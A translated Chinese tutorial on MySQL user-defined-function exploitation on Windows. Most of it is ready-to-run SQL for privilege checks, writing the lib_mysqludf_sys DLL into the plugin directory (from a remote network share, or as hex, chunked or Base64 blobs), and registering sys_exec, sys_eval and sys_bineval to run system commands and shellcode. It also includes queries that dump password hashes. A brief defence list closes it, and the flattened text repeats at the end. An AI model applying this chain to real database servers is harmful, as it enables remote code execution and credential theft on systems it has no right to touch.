翻译 MySQL UDF Exploitation
字数 968 2025-08-29 08:32:02

MySQL UDF 漏洞利用技术详解

概述

MySQL用户定义函数(UDF)漏洞利用是一种通过MySQL数据库执行系统命令的技术。本文详细介绍了在Windows系统上利用MySQL UDF实现代码执行的方法,特别针对MySQL 5.7版本进行了深入分析。

环境准备

  1. MySQL版本确认

    select @@version_compile_os, @@version_compile_machine;
    

    确认操作系统架构和MySQL版本架构是否匹配。

  2. 权限检查

    select * from mysql.user where user = substring_index(user(), '@', 1);
    

    确认当前用户是否有FILE权限(可读写文件)。

  3. 插件目录定位

    select @@plugin_dir;
    

    从MySQL 5.0.67开始,UDF库必须放在插件目录中。

UDF库上传方法

方法一:直接加载网络共享文件

select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') 
into dumpfile "D:\\MySQL\\lib\\plugin\\udf.dll";

方法二:十六进制编码写入

  1. 生成十六进制文件:

    select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) 
    into dumpfile '/tmp/udf.hex';
    
  2. 写入目标:

    select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000... 
    into dumpfile "D:\\MySQL\\lib\\plugin\\udf.dll";
    

方法三:使用临时表分段写入

create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dumpfile "D:\\MySQL\\lib\\plugin\\udf.dll";

方法四:Base64编码写入(MySQL 5.6.1+)

select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) 
into dumpfile '/tmp/udf.b64';

select from_base64("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAAAAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAAEAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIAAABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAREAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA") 
into dumpfile "D:\\MySQL\\lib\\plugin\\udf.dll";

UDF函数详解

1. sys_exec

  • 功能:执行系统命令,不返回输出
  • 安装
    create function sys_exec returns int soname 'udf.dll';
    
  • 验证
    select * from mysql.func where name = 'sys_exec';
    
  • 使用示例
    select sys_exec('whoami');
    
  • 卸载
    drop function sys_exec;
    

2. sys_eval

  • 功能:执行系统命令并返回输出
  • 安装
    create function sys_eval returns string soname 'udf.dll';
    
  • 使用示例
    select sys_eval('dir');
    

3. sys_get

  • 功能:获取环境变量值
  • 安装
    create function sys_get returns string soname 'udf.dll';
    
  • 使用示例
    select sys_get('PATH');
    

4. sys_bineval(32位系统有效)

  • 功能:执行shellcode
  • 安装
    create function sys_bineval returns int soname 'udf.dll';
    
  • 使用示例
    select sys_bineval(from_base64(load_file('./calc.b64')));
    

注意事项

  1. 版本兼容性

    • MySQL 5.0.67+:必须将DLL放入plugin_dir指定的目录
    • MySQL 5.0.0-5.0.66:可放入系统目录(如system32)
    • MySQL 4.1.25之前:可放入多个系统目录
  2. 密码字段变化

    • MySQL 5.6及以下:
      select host, user, password from mysql.user;
      
    • MySQL 5.7+:
      select host, user, authentication_string from mysql.user;
      
  3. 插件目录修改

    • 通过命令行参数:
      mysqld.exe --plugin-dir=C:\\temp\\plugins\\
      
    • 通过配置文件:
      [mysqld]
      plugin_dir = C:\\temp\\plugins\\
      

防御措施

  1. 限制MySQL用户的FILE权限
  2. 设置secure-file-priv参数限制文件读写位置
  3. 定期更新MySQL到最新版本
  4. 监控plugin目录的异常文件
  5. 限制MySQL服务器的网络访问

参考资源

  1. MySQL官方文档:CREATE FUNCTION UDF语法
  2. MySQL 5.6.1版本说明:新增Base64函数
  3. MSDN文档:Windows API参考
  4. Exploit-DB和Packet Storm上的相关研究

通过以上技术,安全研究人员可以测试MySQL数据库的安全性,而管理员则可以了解如何更好地保护数据库系统。

MySQL UDF 漏洞利用技术详解 概述 MySQL用户定义函数(UDF)漏洞利用是一种通过MySQL数据库执行系统命令的技术。本文详细介绍了在Windows系统上利用MySQL UDF实现代码执行的方法,特别针对MySQL 5.7版本进行了深入分析。 环境准备 MySQL版本确认 : 确认操作系统架构和MySQL版本架构是否匹配。 权限检查 : 确认当前用户是否有FILE权限(可读写文件)。 插件目录定位 : 从MySQL 5.0.67开始,UDF库必须放在插件目录中。 UDF库上传方法 方法一:直接加载网络共享文件 方法二:十六进制编码写入 生成十六进制文件: 写入目标: 方法三:使用临时表分段写入 方法四:Base64编码写入(MySQL 5.6.1+) UDF函数详解 1. sys_ exec 功能 :执行系统命令,不返回输出 安装 : 验证 : 使用示例 : 卸载 : 2. sys_ eval 功能 :执行系统命令并返回输出 安装 : 使用示例 : 3. sys_ get 功能 :获取环境变量值 安装 : 使用示例 : 4. sys_ bineval(32位系统有效) 功能 :执行shellcode 安装 : 使用示例 : 注意事项 版本兼容性 : MySQL 5.0.67+:必须将DLL放入plugin_ dir指定的目录 MySQL 5.0.0-5.0.66:可放入系统目录(如system32) MySQL 4.1.25之前:可放入多个系统目录 密码字段变化 : MySQL 5.6及以下: MySQL 5.7+: 插件目录修改 : 通过命令行参数: 通过配置文件: 防御措施 限制MySQL用户的FILE权限 设置secure-file-priv参数限制文件读写位置 定期更新MySQL到最新版本 监控plugin目录的异常文件 限制MySQL服务器的网络访问 参考资源 MySQL官方文档:CREATE FUNCTION UDF语法 MySQL 5.6.1版本说明:新增Base64函数 MSDN文档:Windows API参考 Exploit-DB和Packet Storm上的相关研究 通过以上技术,安全研究人员可以测试MySQL数据库的安全性,而管理员则可以了解如何更好地保护数据库系统。